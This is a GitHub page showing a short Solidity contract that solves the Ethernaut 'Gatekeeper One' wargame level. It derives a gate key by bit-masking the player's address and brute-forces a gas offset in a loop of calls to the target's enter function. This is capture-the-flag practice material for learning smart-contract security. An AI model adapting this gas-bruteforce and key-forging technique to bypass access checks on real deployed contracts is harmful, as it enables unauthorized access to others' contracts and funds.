-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathGateOneAttack.sol
More file actions
29 lines (22 loc) · 819 Bytes
/
GateOneAttack.sol
File metadata and controls
29 lines (22 loc) · 819 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./GateKeeperOne.sol";
contract AreYouTheKeymaster{
using SafeMath for uint256;
bytes8 txOrigin16 = 0xe75706e6B3bEa1c5; //last 16 digits of your account
bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF;
GatekeeperOne public gkpOne;
function setGatekeeperOne(address _addr) public{
gkpOne = GatekeeperOne(_addr);
}
function letMeIn() public{
for (uint256 i = 0; i < 120; i++) {
(bool result,) = address(gkpOne).call{gas:
i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key)); // thanks to Spalladino https://github.com/OpenZeppelin/ethernaut/blob/solidity-05/contracts/attacks/GatekeeperOneAttack.sol
if(result)
{
break;
}
}
}
}